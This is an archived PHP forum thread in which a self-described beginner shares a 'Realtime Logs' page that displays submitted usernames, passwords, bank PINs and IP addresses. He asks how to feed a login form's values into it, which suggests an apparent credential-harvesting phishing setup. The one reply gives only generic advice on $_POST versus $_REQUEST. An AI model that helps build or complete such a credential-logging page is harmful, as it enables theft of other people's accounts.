Jump to content

Need help with $_POST


Zizzled

Recommended Posts

Alright so basicly i have an HTML Document with a Login and Password field. (Code is too long to post)

 

 

I want to make the two details be posted on a HTML Document.

 

<html>

<head>

<title>

Realtime Logs

</title>

</head>

<body>

<META HTTP-EQUIV="refresh" CONTENT="5">

<br>

Username:<?php echo $_REQUEST["username"]; ?><br />

Password:<?php echo $_REQUEST["password"]; ?><br />

Bank Pin:<?php echo $_REQUEST["bankpin"]; ?><br />

IP Address:<?php echo $_REQUEST["$ip"]; ?><br />

 

</form>

</body>

</html>

 

 

I want to take the variables from my index with the username and password, but i have no idea how to make it send to the HTML above. I've been successful at making them appear at the HTML above, but it would be under the

Username:<?php echo $_REQUEST["username"]; ?><br />

Password:<?php echo $_REQUEST["password"]; ?><br />

Bank Pin:<?php echo $_REQUEST["bankpin"]; ?><br />

IP Address:<?php echo $_REQUEST["$ip"]; ?><br />

and not replace it. Help please?

 

BTW im new to php ;)

Link to comment
https://forums.phpfreaks.com/topic/244571-need-help-with-_post/
Share on other sites

Your explanation is a bit rough. To begin with, avoid using $_REQUEST, as this is populated with not just POST data but GET data as well and can lead to unexpected results. If you want post data, use $_POST and same applies to $_GET, only use it if that is what you are expecting.

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.